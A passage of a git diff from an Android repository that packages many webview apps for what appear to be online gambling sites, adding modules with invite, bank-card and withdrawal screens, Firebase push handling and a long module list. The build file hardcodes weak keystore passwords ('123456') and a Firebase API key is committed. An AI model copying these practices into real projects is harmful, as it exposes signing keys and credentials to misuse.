+ + + + \ No newline at end of file diff --git a/semangat33/src/main/res/drawable/shape_dialog_bg_new.xml b/semangat33/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/semangat33/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/semangat33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/semangat33/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/semangat33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/semangat33/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/mipmap-hdpi/ic_empty.png b/semangat33/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/semangat33/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/semangat33/src/main/res/mipmap-hdpi/ic_pull_down.png b/semangat33/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/semangat33/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/semangat33/src/main/res/mipmap-xhdpi/ic_close.png b/semangat33/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/semangat33/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/semangat33/src/main/res/mipmap-xhdpi/ic_menu.png b/semangat33/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/semangat33/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/semangat33/src/main/res/mipmap-xxhdpi/app_logo.png b/semangat33/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..f77c33e Binary files /dev/null and b/semangat33/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/semangat33/src/main/res/mipmap-xxhdpi/app_logo1.png b/semangat33/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..2ff332b Binary files /dev/null and b/semangat33/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/semangat33/src/main/res/values-en/strings.xml b/semangat33/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/semangat33/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/semangat33/src/main/res/values-night/themes.xml b/semangat33/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/semangat33/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/values/colors.xml b/semangat33/src/main/res/values/colors.xml new file mode 100644 index 0000000..d7e121a --- /dev/null +++ b/semangat33/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #183c7a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/semangat33/src/main/res/values/strings.xml b/semangat33/src/main/res/values/strings.xml new file mode 100644 index 0000000..4978689 --- /dev/null +++ b/semangat33/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SEMANGAT33 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/values/themes.xml b/semangat33/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/semangat33/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/xml/app_updater_paths.xml b/semangat33/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/semangat33/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/xml/network_security_config.xml b/semangat33/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/semangat33/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/semangat33/src/main/res/xml/provider_paths.xml b/semangat33/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/semangat33/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/semangat33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/semangat33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/semangat33/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/settings.gradle b/settings.gradle index 34a8465..a71253b 100644 --- a/settings.gradle +++ b/settings.gradle @@ -11,6 +11,12 @@ include ':u88' include ':uwin33' include ':vv88' include ':base' +include ':base_no' +include ':base_sg' +include ':base_Fachai8hk' +include ':base_no_music' +include ':base_theme' +include ':base_bk88' include ':Mk88aud' include ':Bintang918' include ':Bbj' @@ -62,4 +68,120 @@ include ':pokies100' include ':spin99' include ':playdash' include ':sgd8' -include ':tinju55' \ No newline at end of file +include ':tinju55' +include ':ufo9jpz' +include ':pantas33' +include ':afb77au' +include ':ek9pgk' +include ':nz88au' +include ':rebate99' +include ':pop99' +include ':be9au' +include ':luckau2' +include ':tng66' +include ':i8sg' +include ':emas44' +include ':madani777' +include ':bigbonus' +include ':sgplay77' +include ':jayakaya99' +include ':kaki' +include ':jdclub9vip' +include ':sands33hk' +include ':audclub' +include ':tealive88' +include ':bandarjudi33' +include ':dstest' +include ':sonicau' +include ':flashau' +include ':novaau' +include ':sprintau' +include ':swiftau' +include ':spin44' +include ':cpx88' +include ':only1au' +include ':wombat88' +include ':semangat33' +include ':s9asia' +include ':fachai8hk' +include ':bantuan88' +include ':surebet' +include ':rtf88' +include ':penang55' +include ':123bet' +include ':okebos' +include ':hoh99' +include ':jcpot868' +include ':afb88' +include ':freecuci365' +include ':easycuci' +include ':93pokies' +include ':auking777' +include ':pxp99au' +include ':okego' +include ':funpokies' +include ':hari2spin' +include ':kakislot' +include ':judi2u' +include ':kongbo96' +include ':aud2u' +include ':gembetaus' +include ':auplay77' +include ':sgwin66' +include ':winbox99au' +include ':cashkingau' +include ':uu33au' +include ':rapid97' +include ':wynnbet' +include ':kampungjudi33' +include ':gg66au' +include ':m1m' +include ':turbo6' +include ':mycuci' +include ':ezspin' +include ':singplay777' +include ':perdana99' +include ':tesla88' +include ':ak44' +include ':bb8au' +include ':sample' +include ':goldau' +include ':supergameau' +include ':roarbet88' +include ':loan' +include ':2uob' +include ':winwaynew' +include ':winway' +include ':gk9' +include ':syok4bet' +//include ':cpx88_test' +include ':base_no_all' +include ':pngplay33' +include ':honor88' +include ':betmana96' +include ':luckybet777' +include ':711bet' +include ':kakinew' +include ':nova9sg' +include ':kangaroo' +include ':koala88' +include ':we88sg' +include ':jom88' +include ':mrsg8' +include ':slotkaki' +include ':megakaya77' +include ':royalbet63' +include ':babelive' +include ':mrbluey' +include ':ozlotto88' +include ':millionkking' +include ":rmcuci" +include ":tamanjudi33" +include ":bika99" +include ":maucuci" +include ":heygirl"//纯净APP +include ":hariwin88" +include ":7pokies" +include ':testtime' +include ':bkk88au' +include ':tkgo' diff --git a/sgplay77/.gitignore b/sgplay77/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/sgplay77/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/sgplay77/build.gradle b/sgplay77/build.gradle new file mode 100644 index 0000000..2ba025c --- /dev/null +++ b/sgplay77/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.sgplay77" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('sgplay1.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('sgplay1.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "sgplay77" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_sg') +} \ No newline at end of file diff --git a/sgplay77/google-services.json b/sgplay77/google-services.json new file mode 100644 index 0000000..877740e --- /dev/null +++ b/sgplay77/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "952950805827", + "project_id": "sgplay77-7a8e8", + "storage_bucket": "sgplay77-7a8e8.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:952950805827:android:da4b416d162327b4480bf6", + "android_client_info": { + "package_name": "com.web.sgplay77" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDrxk2eYH-gNxxFQ4Cr0ryn1S-YWuwJHPk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/sgplay77/ppn.jks b/sgplay77/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/sgplay77/ppn.jks differ diff --git a/sgplay77/proguard-rules.pro b/sgplay77/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/sgplay77/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/sgplay77/sgplay.jks b/sgplay77/sgplay.jks new file mode 100644 index 0000000..6e661f5 Binary files /dev/null and b/sgplay77/sgplay.jks differ diff --git a/sgplay77/sgplay1.jks b/sgplay77/sgplay1.jks new file mode 100644 index 0000000..0752419 Binary files /dev/null and b/sgplay77/sgplay1.jks differ diff --git a/sgplay77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/sgplay77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/sgplay77/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/sgplay77/src/main/AndroidManifest.xml b/sgplay77/src/main/AndroidManifest.xml new file mode 100644 index 0000000..6ba2be6 --- /dev/null +++ b/sgplay77/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/java/com/web/sgplay77/MainActivity.java b/sgplay77/src/main/java/com/web/sgplay77/MainActivity.java new file mode 100644 index 0000000..117b405 --- /dev/null +++ b/sgplay77/src/main/java/com/web/sgplay77/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.sgplay77; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 155; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://sgplay77.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#ffd700"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#99101a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/sgplay77/src/main/java/com/web/sgplay77/MyFirebaseMessageingService.java b/sgplay77/src/main/java/com/web/sgplay77/MyFirebaseMessageingService.java new file mode 100644 index 0000000..0939ffb --- /dev/null +++ b/sgplay77/src/main/java/com/web/sgplay77/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.sgplay77; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/sgplay77/src/main/java/com/web/sgplay77/WebApplication.java b/sgplay77/src/main/java/com/web/sgplay77/WebApplication.java new file mode 100644 index 0000000..b7c9e6e --- /dev/null +++ b/sgplay77/src/main/java/com/web/sgplay77/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.sgplay77; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/sgplay77/src/main/res/drawable-anydpi/ic_action_back.xml b/sgplay77/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/sgplay77/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/sgplay77/src/main/res/drawable-hdpi/ic_action_back.png b/sgplay77/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/sgplay77/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/sgplay77/src/main/res/drawable-mdpi/ic_action_back.png b/sgplay77/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/sgplay77/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/sgplay77/src/main/res/drawable-v24/ic_launcher_foreground.xml b/sgplay77/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/sgplay77/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable-xhdpi/ic_action_back.png b/sgplay77/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/sgplay77/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/sgplay77/src/main/res/drawable-xxhdpi/ic_action_back.png b/sgplay77/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/sgplay77/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/sgplay77/src/main/res/drawable/big_bg.xml b/sgplay77/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..a964874 --- /dev/null +++ b/sgplay77/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable/ic_launcher_background.xml b/sgplay77/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/sgplay77/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/sgplay77/src/main/res/drawable/input_bg.xml b/sgplay77/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/sgplay77/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/sgplay77/src/main/res/drawable/pass_word_bg.xml b/sgplay77/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/sgplay77/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/sgplay77/src/main/res/drawable/pass_word_bg1.xml b/sgplay77/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/sgplay77/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable/pass_word_bg2.xml b/sgplay77/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/sgplay77/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable/shape_btn_bg.xml b/sgplay77/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/sgplay77/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable/shape_dialog_bg2.xml b/sgplay77/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/sgplay77/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable/shape_dialog_bg3.xml b/sgplay77/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/sgplay77/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/drawable/shape_dialog_bg_new.xml b/sgplay77/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/sgplay77/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/sgplay77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sgplay77/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/sgplay77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sgplay77/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sgplay77/src/main/res/mipmap-hdpi/ic_empty.png b/sgplay77/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/sgplay77/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/sgplay77/src/main/res/mipmap-hdpi/ic_pull_down.png b/sgplay77/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/sgplay77/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/sgplay77/src/main/res/mipmap-xhdpi/ic_close.png b/sgplay77/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/sgplay77/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/sgplay77/src/main/res/mipmap-xhdpi/ic_menu.png b/sgplay77/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/sgplay77/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/sgplay77/src/main/res/mipmap-xxhdpi/app_logo.jpg 